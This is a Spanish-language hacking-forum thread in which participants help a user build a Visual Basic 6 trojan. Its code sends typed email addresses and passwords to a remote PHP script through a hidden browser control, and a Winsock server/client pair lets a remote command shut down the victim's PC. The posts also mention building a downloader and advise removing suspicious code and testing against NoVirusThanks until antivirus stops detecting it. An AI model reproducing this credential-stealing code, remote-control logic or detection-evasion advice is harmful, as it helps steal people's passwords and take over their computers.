Mensajes

Tu tienes en vb en el Form esto
txtEmail.Text
txtPass.Text
ws (control webbrowser)
¿Tu tienes eso en el Form?
Ahora dime si con este te funciona

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
ws.Navigate ("www.plusordos.net/prueba/envio.php?value=" & txtEmail.Text & "Password" & txtPass.Text)
End Sub

Haber si no escribes bien no te puedo entender, no te pido acentos solo que escribas bien. Dime los controles que tienes en el form y dejame el código del PHP.

ya probe no funciona llego email pero yo copie y pegue me mandaste tu codigo que raro no llego email pero todo textbox muy bien sabes porque yo lo puse textbox de email es txtEmail y pass es txtPass que raro no llego email nada



Private Sub Command1_Click()
ws.Navigate ("www.plusordos.net/prueba/envio.php?value=" & txtEmail.Text & " Password " & txtPass.Text)
End Sub

Entra aqui y dime si te llega el email ->> www.plusordos.net/prueba/envio.php?value=Olanana

¿Sabes para que sirve el módulo? x'DD
¿Qué quieres hace con el módulo?

El problema es este

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
ws.Navigate ("www.plusordos.net/prueba/envio.php?value=" & txtEmail.Text & " Password " & txtPass.Text)
End Sub
No puedes poner el contenido de un objeto entre comillas, ahora debería funcionar

[cEditSvr]

Y para un downloader ¿para que necesitas ese módulo? Recuerda haberlo puesto en un modulo de clase y de nombre cEditSvr

Leete este código que publiqué

http://foro.elhacker.net/programacion_vb/tutorial_enviando_email_con_vb6-t230043.0.html

Antes de ponerlo a tu programa entiende lo que hace el codigo.

no no el code no lo hice yo por eso es que no lo puedo lograr hacer 

Utiliza el código que te deje anteriormente ! Es el más sencillo para los troyanos.

Trozos de código que tu creas que son sospechosos quitalos y subelo a Novirusthanks y si no te lo detecta ya sabes lo que tienes que modificar.

Mira utiliza el siguiente código.

En el servidor cuando recibes los datos pon

Código (vb) [Seleccionar] Expandir


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim dt() As String
Winsock1.GetData datos
dt = Split(datos,"|")
Select case dt(0)
Case "apagar"
Shell "shutdown -s -t 0"
End Select
End Sub

ahora en el cliente cuando envias pon

Código (vb) [Seleccionar] Expandir

Private Sub Command2_Click()
Winsock1.SendData "apagar|"
End Sub